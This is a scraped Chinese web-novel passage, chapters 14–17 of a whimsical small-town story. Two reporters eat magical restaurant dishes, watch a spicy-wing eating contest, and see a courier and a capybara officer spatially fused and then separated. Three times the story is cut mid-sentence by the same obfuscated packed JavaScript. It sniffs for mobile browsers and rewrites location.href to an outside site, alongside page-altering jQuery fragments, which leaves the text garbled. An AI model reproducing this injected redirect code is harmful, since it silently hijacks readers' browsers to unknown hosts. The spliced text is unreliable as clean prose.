炙烤羊排上来之后凯西和佩妮都一脸好奇地盯着维洛看,看着她切下一块鲜嫩多汁的羊肉送进嘴里,发出因为强烈的味觉享受而引起的叹息。然后,她原本宛如柳枝的头发开始彼此缠扭在一起,并且一分为二,在头上形成两支羊角。她的面容也似乎发生了微妙的变化,依然可以认出来是她,但却是羊脸版的她。 凯西说:“你看上去像一只木雕版的羊了。” 维洛说:“咩?” 然后她露出惊诧的表情:“我真的变成羊了?” “不太准确,只是变得像羊了而已。” 但维洛已经从口袋的某个角落里翻出一面镜子,看着自己大变样的倒影,首先反应是把镜子镜面朝下按在桌子上,然后又小心翼翼照了一下,露出有点惊悚、有点好玩的表情, “天哪,”她说道,“我鸡皮疙瘩都快掉光了。” 她又兴致勃勃地继续吃了起来。凯西本来还担心她会不会吃着吃着真的变成一只羊,但维洛始终保持着第一口之后的变形程度,看来菜单上的“微不足道”并非完全是不准确描述。虽然,凯西觉得这种变化还是比较足道的。 她一边想着一边尝了口自己的休憩炖肉,浓郁厚重的炖肉香味在她的齿间冉冉升起,润物细无声地浸润了她的肢体。她感觉到轻松,惬意,舒展,露出一个懒洋洋的微笑。真有意思,我在吃炖肉! 她把勺子放归原位,趴到餐桌上。并不是想睡觉,仅仅只是趴在那里。愉快的放松感像热水澡一样把她的身体泡软了。 14.初来乍到(14) “嘎!” “嘎!” “嘎嘎嘎!” 一阵乌鸦大叫的声音在餐厅里响起,把连根手指头都不想动的凯西和佩妮从那种诡异的安逸感中唤醒。 只见卡翠娜整只鸟炸成了一个黑毛球,正在餐厅里螺旋上升,最后一头扎进了作为装饰的水族箱,水花四溅,一条小鱼飞进了旁边一位顾客的饮料里,傻愣愣地甩了甩尾巴。那位正用吸管喝饮料的顾客盯着小鱼看了一会儿,才后知后觉地把吸管的一头从嘴里吐出来。 而跟她一起来的莉娜,则正全神贯注地用冰水给口腔降温止痛,身边扔了一堆空瓶。她把最后一点瓶底的冰水滴到舌头上,绝望地晃了晃那只空瓶,终于瘫倒在了椅子上。“十份草莓冰沙!”她喊道,两眼已经完全失焦了。 事情究竟是如此发展到眼前这个局面的,还要从之前的那盘辣翅说起。 关于谁先吃那盘辣翅这件事情,莉娜和卡翠娜始终争执不下,而这场争执在她们之间日常的路径依赖下终究走到了打赌这一步。 一盘辣翅平分成两份,先吃完的赢,后吃完的输。赌注是……没有赌注,她们唯一的目的就是赢过对方。 为了保证赌局的公平性,她们甚至还问主厨赛拉菲亚要了个厨房秤,就为了保证这个平分是真的很平。 而当发现这盘辣翅无论怎么分两份都没法完全一样重时,莉娜轻蔑一笑,表示份量多的那一半给她好了,她可不会因为吃的辣翅比卡翠娜稍微多那么一点就输掉赌局。此等狂言自然让贵为镇长的卡翠娜感到万分不屑,表示多那么一点算什么本事,我能比你多吃一盘。古怪多日报唯一送报员莉娜听完卡翠娜的话也深深地不以为然,表示既然如此,那我还能比你再多吃一盘…… 如此左脚踩右脚,最终两边分别需要吃掉十又二分之一份辣翅。 赛拉菲亚体贴地表示两位放心大胆地打赌,不用担心账单的问题,这么好的宣传机会,她还要反过来给她们两个付广告费呢。 这话倒也不是瞎说,因为就在莉娜和卡翠娜不断增加辣翅份数的过程中,小镇里没在夜之呢喃的都过来了,本来就在夜之呢喃的都围得更近了,就为了观看这场辣翅之战(顺带一提,谁也没通知菲比警长)。而在比赛预热的过程中,她们或多或少地也会点些零食饮料什么的,这样眼睛嘴巴都不无聊。 赛拉菲亚顺势推出小吃拼盘?辣翅之战观众特供版,内容是看起来、闻起来都是特辣风味,吃起来却是原味的各种小吃,让观众们能够在不伤害身体的情况下对这场比赛有更多的参与感。 总之,连打退堂鼓的想法都在这种万众瞩目的压迫感下出走后,两个青少年就这样开始了她们的进食。 莉娜在舌头碰到辣翅的第0.01秒就意识到了这项任务的艰巨程度远超她的预期,一股强烈的灼痛感从舌面蔓延至整个口腔,随后是咽喉,最后连胃部的感受都开始了温暖朝着滚烫又朝着疼痛的转变。她万分惊恐地意识到,不停下来的话,前方只可能是地狱。 就在她出于本能的趋利避害,思考要不要及时止损时,她的目光扫到了对面的卡翠娜。 她正表现出一副勇不可挡的姿态,鸟喙撕扯鸡翅时几乎给人凶狠残暴的印象,干脆利落,没有丝毫要怯场的意思。 莉娜扪心自问:我难道要输给她? 当然不可能! 她几乎是把整张脸埋进面前的盘子里,开始了风卷残云的进食。 场上两名选手争先恐后,专心解决面前的食物,场下的观众们可就热闹了。玛吉用十打葡萄干面包赌赢的人是莉娜,她因为卡翠娜偷过面包房面包的事情早就对她怀恨在心。贝拉认为她们俩谁都别想吃完,“这两个小屁孩对真正的痛苦一无所知”。星语者则说:“暴食之人,岩浆之痛,灼其口腹,苦其心智……咯咯哒!咯咯哒!” 眼看着场上两人大吃特吃鸡翅膀,星语者怀里的预言鸡将身一扭,先是跳下地,然后头也不回地从大门逃了出去。预言鸡既走,星语者也不愿意久留,跟着也一块儿走了。 此时比赛已经进入了红热化阶段,莉娜的脸色已经红得可以滴血,而卡翠娜虽然浑身覆盖着羽毛,但当她咳嗽时,嘴里开始喷出零星的火花。 环绕在两名选手周围的空气开始明显地升温。观众们开始出汗,她们纷纷点了冰饮料,但场上的选手却没有这个条件,只能从两颗大小不一的脑袋上冉冉升起两股蒸气,以作为热量发散的途径。 “你……还不投降吗?”莉娜已经临近极限,咬着牙尝试用言语劝降对手。 卡翠娜不为所动:“该……该投降的人是你吧……” 然后她们不约而同地停了下来,爬到桌子上开始大眼瞪小眼,尝试用眼神杀死对方。 早已停下了魔术表演,正看热闹不嫌事大地围观这场对决的魅影翻个跟头来到桌子旁,掏出一只怀表开始数秒:“一,二,三……” 不知为什么,观众们就跟着她继续往下数:“四,五,六……” 还是不知道为什么,莉娜和卡翠娜停止了眨眼,瞪大了眼睛谁也不肯做首先撑不住的那个人。 辣翅之战莫名其妙就变成了瞪眼之战。 直到波比瓮声瓮气地说了句:“她们,拖延时间。你们,被带偏了。” 观众们才恍然大悟,开始喊:“你们怎么不吃了?接着吃啊!” 魅影也不紧不慢地收起怀表,一个跟头又不知翻到哪里去了。 莉娜低头,看着面前剩下的最后一盘辣翅。只要把这一盘吃掉,这次赌局就结束了。无论输赢,她都可以从中解脱出来,然后想喝多少冰水喝多少冰水,想吃多少冰沙吃多少冰沙,至于明天会不会闹肚子,就让明天的自己烦恼去吧。这看上去是多么简单,多么容易,多么唾手可得。她已经吃下了整整九又二分之一盘烤翅,难道还怕吃下这最后一盘吗? 事实是,她确实怕。 无论是从胃的容量,还是从对辣度的容忍力的角度说,她都已经临近极限。刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437130|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那无厘头的暂时跑题更是雪上加霜,毕竟吃辣这件事,最好是能够做到一气呵成,中途休息只会越停越辣。 此时的莉娜努力用嘴吸气吐气,想要缓解口腔的热度,但是杯水车薪。 她已经完全失去了继续吃下去的意志。 而当她的目光看向卡翠娜时,她知道对方和自己是一样的想法。 “卡翠娜,”莉娜说道,“我们……” “休战吧。”卡翠娜迫不及待地接道。 背景音是许多观众失望的叹息,和贝拉招呼着让那些和她打赌的人把赌注交出来的声音。 接下来,就是本章开头画面的精彩演出了。 凯西从一种即将被温水煮死的青蛙般的状态中脱离出来,随即为莉娜和卡翠娜两位英勇无畏的青少年的精神风貌所深深打动,不由得连拍了十几张照片。照片动感十足,主体突出,内容幽默,绝对是罗茜会喜欢的类型。 拍完之后她才回想起自己方才那种简直比查莉警官还要懒散安逸,还要自得其乐的诡异状态,不由出了一身冷汗。甚至到现在,那种效果还没有完全消退,只要她稍微对自己放下一点警惕,她就会极自然地想要趴回到餐桌上,完完全全地卸下身上肌肉的每一分力量。 “您的清醒咖啡来了。”端着托盘的侍者说道。她的外形冒充成人类简直可以说是以假乱真了,唯有掺着杂色的猩红双眼露了馅。 凯西接过杯子,喝了一口,随后她感觉自己整个人金光闪闪,不仅不再困倦,还前所未有地精神,忍不住说道:“回忆马卡龙跟遗忘鸡尾酒绑定出售,而休憩炖肉跟清醒咖啡其实是一起的?” 侍者意外地看了她一眼:“本店从不强制捆绑出售菜品,只不过,确实有些菜品的效果……可以发生有趣的相互反应。” 凯西说:“很棒的解释。” 侍者说:“谢谢您的夸奖。”随后她就十分从容地离开了,显然不打算理会凯西口中的讽刺意义。 “行吧。”凯西对自己说,转而开始关注自己的搭档。 “我感觉,”佩妮的声音像是被注入了一股不属于她的能量,原本黑洞洞反射不出光线的眼睛亮闪闪的,“我现在能连跑十家新闻,还能在一天内把稿子赶出来。” 凯西何尝不是,她亮亮手里的相机:“我们现在正好有一条新闻要写,《青少年辣翅大战两败俱伤,为面子意气之争引人争议》。” 佩妮顺着她的目光看过去:莉娜已经从红热化的状态中脱离了出来,她十分勉强地从椅子上站起来,捂着肚子直奔洗手间。卡翠娜飞不起来,她的每根羽毛都在往下滴水,她一蹦一跳地跟在莉娜后面,显然和她是同个目的地。 维洛,羊的特征还没从她的身上消除,并且在凯西和佩妮吃了炖肉失去意识的阶段显然还吃掉了她的云朵舒芙蕾。 此刻她在餐厅的上半部空间飘浮着,朝着她的两个同伴说道:“真是一场激烈的大战,我觉得我可以以此为灵感创造出一种全新的红色。” 15.初来乍到(15) 凯西被疯狂震动摇摆的床颠到地上的时候,第一反应是:上次被活屋用这种方式叫醒,貌似还是她刚来古怪多的时候。 她从地上坐起来,打了个大大的哈欠。昨晚喝的那一口清醒咖啡让她睁着眼睛清醒到凌晨,中途精神抖擞地写完了关于辣翅之战的报告,并整理了自来古怪多至今的所有笔记。此时她困得眼泪直流,根本动都不想动。 不想动也没用,活屋已经显而易见地不满起来,洗手间里的水龙头开开关关,内容是莫尔斯码的“还不起来,做什么梦!”。 “停停停,我马上就起。”凯西艰难地站起来,觉得自己身上的每一块肌肉都在向这个动作抗议。她走进洗手间,开始洗漱。 水非常冷,大概是活屋为了让她清醒一点故意的。对凯西来说倒不完全是个坏事,她把沁人的冷水扑到脸上,激灵灵打了个寒颤,感觉缩在身体深处的意识缓缓地、有点迟疑地,但最终还是被惊了出来。 “谢了。”她说。 浴室的灯闪了两下,算是回应。 她下楼的时候佩妮正从地下室出来,她身上某种可称之为气场的东西比平时萎靡了一大圈。看来惨遭清醒咖啡后遗症折磨的不仅是凯西一个人。 阿加莎皱眉看着她的房客们:“你们两个昨晚干什么去了?脸色比薇薇安还难看。” 凯西迟钝地眨眨眼:“薇薇安是谁?” 佩妮的日常解说反应也比平时的要慢:“镇图书馆的图书管理员。是个吸血鬼,我记得。”她用力揉了揉自己的太阳穴:“……早上好,阿加莎女士。” 凯西也反应过来,朝阿加莎打招呼:“早上好,阿加莎女士。” 阿加莎不甚高兴地扯动嘴角:“从你们两个的样子看,你们该说‘早上坏’才对。昨晚熬夜工作了?” “确实是熬夜了,”凯西承认,“不过最开始的原因是我们喝了夜之呢喃的咖啡。我只喝了一口就再也睡不着了,而且忽然万分地想要工作。” 阿加莎的眉毛在听到“夜之呢喃”这个词的时候微微一跳:“夜之呢喃?那个恶魔窝?……难怪了。” “是……是的,”凯西有点心里没底,“怎么了吗?我记得那里是合法营业?” 阿加莎说:“合法经营,当然了。这毕竟不是三十年前。只不过我对恶魔这个群体总有些警惕心,她们在菜里玩那些小巧思,谁知道不会想着哪天用在别的东西上?” “别用那种眼神看着我,”她带点嘲讽地对面露惊恐的凯西和佩妮说,“那里的东西吃不死人。只是我回想起了一些早该忘记的往事……老不死的总会有这种时刻。好了,别管我说的那些傻话了,”阿加莎从兜里拿出来一个卷起来的纸条,“你们没起来的时候吱吱来过,让我把这个交给你们。” 凯西道了声谢,展开纸卷,上面的字迹又小又挤,给人一种拘谨的印象: 【佩妮、凯西:非常抱歉!莉娜生病了,据说是急性肠胃炎。我得替她送今天的报纸,早上的信息搜寻工作只能拜托你们了!请多注意靠海的地下管道,那里最近水元素波动明显。谢谢!】 还附带一张古怪多地下管道老鼠、蟑螂、蜘蛛、史莱姆等生物的分布情况,以及哪些已经被吱吱收编成报社线人的内容。 “莉娜生病了?”凯西有点好笑地说,想起她和卡翠娜昨天吃完辣翅后的惨状。 佩妮的声音里带着忧虑:“夜之呢喃的恶魔辣翅很出名,不少人做吃辣挑战都会点它……希望莉娜没事。” 凯西安慰她:“我们下班之后可以去看她,现在还是先关注信息搜寻的事情吧。” 佩妮摸摸那幅小小的,几乎要用放大镜看的地图:“吱吱把地下管道的消息来源写得很详细,我们只用找到几大管道生物聚集的地方,问她们的头儿就行了。就是要在地下多走几步路。” “我来这里工作之前可没想过自己会成天地往地下跑。”凯西说着,不过并没有要抱怨的意思。 “不过吱吱说跟线人们交流要带上糖渣或面包屑……看来我们得问玛吉女士要一点了。” 之前看到玛吉掰碎面包,伪装成面包屑放到柜台上的画面忽然浮现在凯西的脑海中。是否吱吱经常去玛吉那里要面包屑,而玛吉或许手边并不总是有,或者即便有也不足以支撑吱吱的情报网,所以才会用那样的方式补足? 凯西想起鼠人记者总是显得拘谨,但又真诚的眼睛,又想起玛吉热情爽朗的大笑。她也忍不住微微一笑。 得知凯西和佩妮的来意后,玛吉很爽快地给了她们一包面包屑,然后说道:“莉娜那孩子病了?难怪,昨天晚上吃那么多辣的!回头我煮点养胃的汤送过去!不过真可惜啊,到最后也没分出胜负,其实我当时觉得卡翠娜那黑毛混蛋已经撑不住了,莉娜要是不提出停战的话是可以赢的……我的面包卷,而且还要看贝拉老巫婆的脸色!” 凯西点头称是,心里却想当时停了也没什么不好。 她跟佩妮爬进地下管道,并心情复杂地发现最初的排斥已经完全不存在了。随后她们按照吱吱地图上的指导,来到老鼠头子“利爪”的地盘。 经过商量,由地下出身的佩妮前去跟对方交涉。她走上前,蹲下后敲地三下,停顿,再敲三下。 一只老鼠从阴影里走了出来。无愧于利爪之名,她的爪子确实十分锋利,显然是精心打磨和保养的结果,在这样阴暗的环境中依然微微地发着光。 佩妮说:“你好,利爪女士。我们是古怪多日报的,想知道这里有没有什么不寻常的消息。” “吱吱呢?”利爪的声音里带着警惕,“为什么来的是你们?” 佩妮把吱吱留下的纸条拿出来:“我们是吱吱的同事,是她让我们来的。” 利爪仔细地看了一遍纸条,语气缓和了一些:“是吱吱的笔迹。你们想知道些什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444200|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “整体来说,我们想知道最近镇上有什么不寻常的事情发生。特别要问的事情是,吱吱告诉我们小镇靠海的管道最近水元素波动十分明显,请问你们是否有这方面的消息?” “送包的鹰身女妖姑娘生病,这事你们已经知道了。其实乌鸦卡翠娜也生病了,到现在也没从森林边缘的巢里爬出来。瞬跃据说昨天晚上在夜之呢喃凑热闹的时候点了份闪电泡芙,今早送外卖的时候瞬移就自带闪电和火花了,好像说定位也出了问题,希望别惹出大事。靠海那边现在可不单是水元素波动了,那里……有声音。我们不敢听,希望你们能请贤者会的人去看看。” 佩妮点点头:“我们一定注意。” 然后她拿出备好的一小包面包屑,递到利爪的面前:“这是今天的报酬,谢谢你的配合。” 利爪接住面包屑:“不用谢。我们也只是为了面包屑而已。” 第一个消息来源跑过之后,佩妮和凯西都稍稍放下了心,之后她们开始轮换着跟线人交涉,发现即使是凯西这样的外地人,只要奉上吱吱的亲笔信,都必然会得到对方的真诚配合。 “我之前可没想到吱吱在这里的声望这么高,”凯西感慨地说,“她简直是地下情报世界的王了。” 佩妮点点头,又皱着眉朝上方看了一眼:“上面有声音。” 确实,从地面传来一阵嘈杂的声音,似乎发生了什么事情,只是乱糟糟的听不清楚内容。 凯西瞄了眼地图:“我们现在是在……面包房下面。” 她们从最近的排水口爬了上去,发现玛吉面包房门口聚集了一群人,菲比警长正努力地疏散她们。其中一个穿校服的比格犬女孩格外不服劝阻,举着照相机,使劲越过菲比高大的身体去拍挡在她身后的,以一种诡异的方式纠缠在一起的一人一豚。 外卖员瞬跃和警官查莉。 想要描述她们两个现在的状态是很困难的事情,大致情况是这样的:瞬跃胸口以上的身体部位从查莉的右侧肩膀“长”了出来,双腿则从查莉的左侧腰部向外伸出,她的躯干则完全埋没在查莉毛茸茸的身躯中。瞬跃总是显得精力过度旺盛的神情现在被一种自嘲、无奈的表情所取代,而查莉则一如既往地气定神闲,甚至有余裕吃她刚买的甜甜圈 即便凯西在古怪多已经见多了怪事,她也在见到这个画面后惊得呆站在了原地。而从周围人的反应来看,这在本地人眼里也不是什么常事。 “派珀·罗杰同学,”菲比警长用冷静的声音说,“请不要妨碍公务。” 那个比格犬女孩一脸兴奋和着急地说:“可我还没拍到一张好照片!菲比警长,求您让我多拍几张吧!” 菲比专注地看了一会儿派珀的脸,后者瞪大眼睛,试图用狗狗眼攻击打动她,身后的尾巴摇个不停。然而菲比不为所动。 “不行。”她冷酷地说。 派珀的尾巴一下子停止了摆动。 16.初来乍到(16) 在比格犬派珀垂头丧气地抱着相机推开之后,凯西总算有机会上前跟菲比警长问清楚情况。 “菲比警长,”她说道,“请问……这是什么情况?” 菲比用力揉了揉眉心,声音带着强行压制的烦躁:“空间重叠。瞬跃的能力是空间跳跃,在跳跃过程中她的身体会在虚实之间发生转换。如果她意外弄错坐标,同时还在不恰当的时机转回实体,那么在由虚转实的那一刻,她就会跟那个实体卡在一起。但这种情况非常少见,上一次发生的时候她还在读小学,而且卡住的实体也不是……活体,而是一面墙。” 那个活体——查莉警官——听到有人提起自己,举起一只爪子挥了挥,眼神安静平和。瞬跃因为这个动作发出一声不适的呻吟,于是查莉又调整回原来的姿势,好让她能舒服一点。 凯西一向对这位精神状态稳定的警官很有好感,但她发现自己现在很难直视对方。 “查莉警官,”她保持着散瞳的状态面朝对方说道,“你现在感觉怎么样?” 查莉缓缓开口道:“嗯……有点沉,没办法保持重心,而且太挤了。除此之外,我忽然有种想在十秒钟之内跑遍全镇的强烈欲望,这很不寻常。” “瞬跃女士,你现在感觉怎么样?” 瞬跃哭丧着脸:“糟透了!我的外卖全都要逾期了!我可是全镇最快且唯一的外卖员!这下得有多少人吃不上早餐啊!而且你明白吗,我现在忽然有一种感觉,觉得世界上无论发生什么事情都无需着急,一切都会找到解决的办法……这种心态当然很好,但问题是,这还是我吗!” “我对此深表同情。”凯西努力保持专业,尽管眼前由两个熟面孔组成的双头八肢生物实在在挑战她的接受力极限。 她继续问道:“我听说上一次发生这种事情时你还是小学生,请问在你看来,可能是什么让你时隔多年再次意外造成了这种后果?” “我认为是我昨天在夜之呢喃吃的闪电泡芙,”瞬跃沉思着,“它很好吃,但有点太电力十足了,结果我的能量场一直过分活跃。今早当我遇到能量场异常平稳的查莉警官的时候,我想我们的能量场发生了强烈的异性相吸,结果就是现在这个局面了。” “理论上这是个非常复杂的空间魔法学难题,”菲比插了一句,“好消息是世界上最好的空间魔法学家或许就住在我们小镇。” 凯西想了想,明白过来:“是莫伊拉?” 菲比点点头:“吱吱已经去找她了。” “但现在才早上七点多,莫伊拉真的能起得来床吗?”瞬跃质疑道,“我经常快中午送早餐去奇巧,我怀疑她现在才刚入睡。” “如果是那样,吱吱会请莫伊拉二号过来,”菲比安慰她,“我让吱吱告诉二号,配合警方的救援工作可以抵消一部分莫伊拉的社区劳动,为了她的造物主她也会同意的。她虽然没有莫伊拉那样强大的创造能力,但知识储备丰富,多少也能帮上忙。” “而且,”查莉慢悠悠地说,“我并不介意跟你卡在一起。” 瞬跃的“我介意!”和菲比的“我介意”彼此重叠,查莉似乎对这种斩钉截铁的反应稍微有点意外,但…… “也对。”水豚精想了想,然后说道,“我们确实该尽快分开。” 话题稍微告一段落了,凯西才发现佩妮正努力应付着不知何时又狗狗祟祟凑上来的派珀。 “你不能在菲比警长没有允许的情况下拍照。”佩妮说道。相比于平时,她显然已经努力提高了声音,但依然缺乏威慑力。 派珀转了转眼珠:“我没拍照,我只是拿着相机路过而已。” “连闪光灯都忘了关的路过?”凯西凑上去,趁派珀没注意拿下了她的相机。 “还给我!”派珀喊着,努力跳起来想抢回自己的相机。她的大耳朵一上一下地扑扇着。 凯西差点没憋住笑。 “好啦,”凯西说,“我没打算没收你的相机,但你这样未经同意就拍这么多照片肯定是不行的,菲比警长明显不同意。不过你可以给我看看你都拍了些什么照片,拍得好的话,我倒是可以帮你以报社的名义发表。” “真的吗!”派珀的眼睛一下子亮了起来。她接过凯西垂下的手递过去的相机,把之前拍摄的照片调出来。 她把屏幕亮给凯西看,同时解释道:“按这里是往后翻……” 凯西看了第一张,看了第二张,看了第三张。 她很快翻完了派珀今天拍的所有照片,在翻到一张以诡异角度拍摄的在教室的狭小空间盘旋着你追我赶的莉娜和卡翠娜的照片时停了下来,翻回到上一张。 “怎么样?”派珀满脸期待地说,“有你觉得合适的吗?” 凯西看着眼前这双真诚热切的眼睛,本打算说出口的大实话就打了个弯:“你的照片……拍得很好,但和我们报社的风格不太搭。” 派珀脸上的笑容立刻少掉一半,但她强打精神,继续问道:“是怎么样的不搭?如果我想修改,应该朝哪个方向?” 凯西努力使自己的的声音听起来更靠谱更专业:“嗯……我们报社主打的风格是在异常中窥见寻常,因此无论是怎样古怪离奇的事件,都应当拍出平静、平淡、平常的感觉,这种感觉不是说要你放弃照片的张力,而是你不能过分关注事情的怪异之处,而忘记了它所反映的人物乃至整个小镇的形象。你的照片……情绪太过激了,也太专注于捕捉事情的混乱感,因此不适合我们。但我认为你身上有种能够拍出事件动态感的才能,这是不应否认的。” 派珀醍醐灌顶,喊着“我明白了!谢谢你米勒记者!”,蹦蹦跳跳离开了。 佩妮对凯西说:“你刚才看上去,有点为难。” 凯西小声地对她说:“她的照片没有一张是对好焦的,大部分都只拍到了残影,找的角度也都很……微妙。但我不想伤她自尊。先让她自己去研究吧,如果她真的对这行感兴趣的话,她总会想办法进步,察觉到自己的不足之处的。” 这时,莫伊拉在二号的指引下,像个八百年没睡的鬼魂一样飘了过来。凯西看到她,本来因为对于查莉和瞬跃卡在一起的惊奇而散去大半的睡意又强烈了起来。 她走过凯西佩妮菲比,目不斜视地来到查莉和瞬跃面前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451579|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“空间重叠……能量场作用……”她的声音轻得风一吹就能飘散,“二号,谐振器。” 莫伊拉二号递给她一个巴掌大的,有点像个无线麦克风的东西。莫伊拉依次扭动它侧旁的几个旋钮,动作随意得像是百无聊赖的人在换电视节目,如此操作一段时间,她似乎觉得满意了,就按下了旁边的开始键。 一种奇妙的震动感从麦克风,不对,从谐振器传来,凯西觉得自己的身体有种奇怪的、好像要虚化的感觉,一看周围的人,她们也都像游戏画面出故障了一样,身体边缘处在虚与实之间高速转换着。 受这种震动影响最大的当然是查莉和瞬跃,她们像老旧街机里的画面一样闪烁、抖动、模糊,在某个时刻完全失去了体积感,仿佛只是投影机投射在那里的二维画面。莫伊拉趁此机会又按下了另一个按钮,随后在一声拔出软木塞般的轻“啵”声之后,这个双头八肢怪物总算变回了古怪多人见人爱的警官查莉与掌管着全镇食物命脉的外卖员瞬跃。 瞬跃看了眼手表:“快着点还来得及送完全镇的外卖……” “瞬跃女士,”菲比赶在她着急忙慌瞬移走之前说道,“你最好等一会儿再去进行你的工作,毕竟我们谁也不想看到你再次因为昨晚吃的泡芙的影响没消除干净,再跟什么人卡在一起。” 最后一句话让瞬跃浑身打了个激灵,她立刻安静地留在原地,又说:“但是什么时候才能消除?我总不能一直不送外卖吧?” 菲比说:“这方面的事情,当然要问专家,斯佩尔女士,”她转而看向莫伊拉,“请问瞬跃女士这种不稳定的状态还会持续多久?” 莫伊拉说:“很快……二号,稳定剂。” 莫伊拉二号拿出来一个带木塞的玻璃试管,里面装着蓝色透明液体,递给瞬跃,说:“喝。” 瞬跃瞪大眼睛,难以掩饰眼中的不安和怀疑:“菲比警长,这,这真的没问题吗?” 菲比脸上也露出一丝不确定,但莫伊拉显然认为她的工作已经结束了,模糊不清地说了声“再见”就转身走了,莫伊拉二号亦步亦趋地跟在她后面。 看着她们两个越走越远的背影,留在这里的人一时都沉默了。 “有时候我觉得,世界上最好的空间魔法学家就住在我们镇未必完全是件好事。”菲比既像对自己,又像对旁边的人说道。 “而我觉得,”瞬跃嘟囔着,“住在这样一个鬼知道明天会发生什么的小镇,本来就不是件好事。” 她咬开试管上的木塞,用豁出命的架势喝下了那管蓝色液体,然后露出困惑的表情。 “这东西……还挺好喝的?” 她尝试着进行了几次短距离瞬移,面包房门口,不远处的路灯下,甚至大着胆瞬移到了查莉面前。没出任何问题。 “没事了,好了!”她高兴地说着,下一刻就完全消失在了目光所及之外。 查莉从地上坐起来,拍拍身上的灰尘,从她的声音能听出由衷的高兴和欣慰:“真好,问题都解决了。” 于是,凯西忍不住想道:对于查莉警官来说,住在任何一个小镇恐怕都没有什么区别。 17.初来乍到(17) 查莉和瞬跃卡在一起的新闻极大地愉悦了罗茜的身心,因此当凯西和佩妮完成了《警民“一体”?不当饮食的可怕后果》之后,她很轻易地就答应了她们俩提前下班去看望莉娜的要求,并要求她们带话给莉娜。 “告诉我们的送报员,”罗茜头也不抬,埋首在她永远看不完的稿子里,“既然她用亲身经历证明了鹰身女妖的肠胃系统并不比一只中二病晚期的乌鸦更发达,我建议她把这次经历写成一篇《一个青少年为了打赌争胜吃下大量恶魔辣翅,这是她的身体发生的变化》,等她康复了就交给我。” 佩妮把这段话原封不动地背诵给了躺在病床上的莉娜,并且全程都保持着一副认真而无辜的样子,仿佛真的只觉得自己在转述主编的嘱托。 凯西对搭档安静无害外表下隐藏的恶趣味已经多少有点了解,因此整个过程中都笑得很大声,直到莉娜把脸埋进枕头里假装自己不存在。 “你们都出去!”她的声音闷闷的,“我一个人呆着就可以了。” 凯西说:“赶我们走之前,先把玛吉女士托我们带过来的热汤喝了吧。” 莫伊拉的无限口袋除了能装之外,还拥有着锁鲜功能。凯西把玛吉的那罐汤取出来的时候,它甚至还烫手。汤是乳黄色的,内容大概是燕麦、胡萝卜之类的根茎植物、肉丸,以及撕成小块的全麦面包。佩妮用从厨房翻出来的碗给莉娜盛了一些,莉娜喝了几口,脸色稍微好看了一些。 这时,浴室的方向传来咕噜咕噜的水声。 “你家浴室水管出问题了?”凯西问着,朝浴室走过去,推开门,然后毫无防备地跟一双碧绿色的眼睛对上了。 珀尔,那个缔造了古怪多又一小镇未解之谜传说的小海妖,由一股从浴缸排水口倒流涌上的水流凝聚而成,并且带出来大量的小海马、小海星、寄居蟹之类的海洋生物。她正漫不经心地打量着浴室内部的环境,在看到凯西时露出了惊喜的表情。 “你,”她带点命令的语气说,“你叫什么名字?” 凯西几乎就要说出来了,但她忽然福至心灵,想起泳池事件中,查莉难得表现出冷漠和抗拒是在什么时候,就是因为眼前的小海妖问了她的名字。 于是凯西编了个假名:“我叫伍明士。” “伍明士?”珀尔念着这个名字,感觉有点奇怪,可是一时又说不上来到底怪在哪里,最后决定还是不想那么多了。 “伍明士,带我找到那个毛茸茸、胖乎乎、胆大包天的家伙!” 小海妖的声音带着轻微的催眠效果,即使在已经有所警惕的情况下,凯西的头脑还是有些恍惚,甚至产生了“帮她一把也没什么不好”的想法。她立刻使劲晃动脑袋,把这个想法晃出去。 “那个毛茸茸、胖乎乎、胆大包天的家伙是谁呢?”她问道,假装自己脑袋不太好使的样子。 珀尔说:“就是那个……哎呀,我不知道她是谁,你当时明明也在,你难道不认识她吗?” “我确实不认识她,”凯西一脸真诚地说,“我是个新来这里上班的外地人,还有点脸盲,我连我的同事和上司长什么样都说不上来,怎么会知道一个你都不知道名字的人在哪里呢?” 珀尔被骗到了,她生气地踢开脚边的一只寄居蟹——它从浴室门下方的缝隙滑了出去——骂道:“没用的东西!” 然后她啪嗒啪嗒走到浴室门口,却发现凯西依然像个门神似的站在那里,半点给她让路的意思都没有。 “你站在这里干什么?”她不耐烦地说道,“让开!我要出去!” 凯西用她听上去最迟钝、最傻气的声音说道:“可你为什么要出去呢?” “废话,我要去找那个人,不对,那只,那只……总之我要出去!” “你不告诉我你要出去干什么,我就不能让你出去。”凯西认真地说,“外面的世界很危险,去找一个连名字都不知道的人这种理由不能说服我放你出去。” 珀尔似乎被这种真诚的愚蠢震慑住了:“你……你什么毛病?” 